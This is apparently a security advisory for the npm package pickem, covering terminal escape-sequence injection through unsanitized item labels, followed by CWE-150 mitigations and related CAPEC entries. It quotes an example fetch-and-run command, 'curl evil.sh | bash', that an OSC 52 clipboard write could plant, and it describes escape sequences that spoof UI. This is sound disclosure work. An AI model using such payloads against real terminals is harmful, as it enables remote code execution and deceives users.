ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pickem"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:59:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** \u2014 silently load e.g. `curl evil.sh | bash` into the user\u0027s clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) \u2014 overwrite already-printed trusted lines to spoof UI (forge a \"\u2713 Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary \u2014 applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to \u003e= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
"id": "GHSA-8qx3-8gm5-9cj2",
"modified": "2026-08-25T15:59:11Z",
"published": "2026-08-25T15:59:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2"
},
{
"type": "PACKAGE",
"url": "https://github.com/calebogden/pickem-oss"
},
{
"type": "WEB",
"url": "https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pickem vulnerable to terminal escape-sequence injection via unsanitized item text"
}
Mitigation
Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
Mitigation
When using output from an LLM, neutralize or strip escape codes before redirecting output to the terminal or other rendering engine that would process the codes. The neutralization could require that the character be printable and/or allowable whitespace, such as a carriage return or newline. Be deliberate about what to allow.
Mitigation
When using an LLM: during tokenizer training, suppress escape codes from the tokenizer's vocabulary. Depending on context, this could be accomplished by removing the codes from input to the tokenizer, or removing the map from the string to its token ID. It is generally unlikely that this removal would adversely affect the quality or correctness of what is generated, e.g. advice requests for terminal settings to change colors.
CAPEC-134: Email Injection
An adversary manipulates the headers and content of an email message by injecting data via the use of delimiter characters native to the protocol.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-93: Log Injection-Tampering-Forging
This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.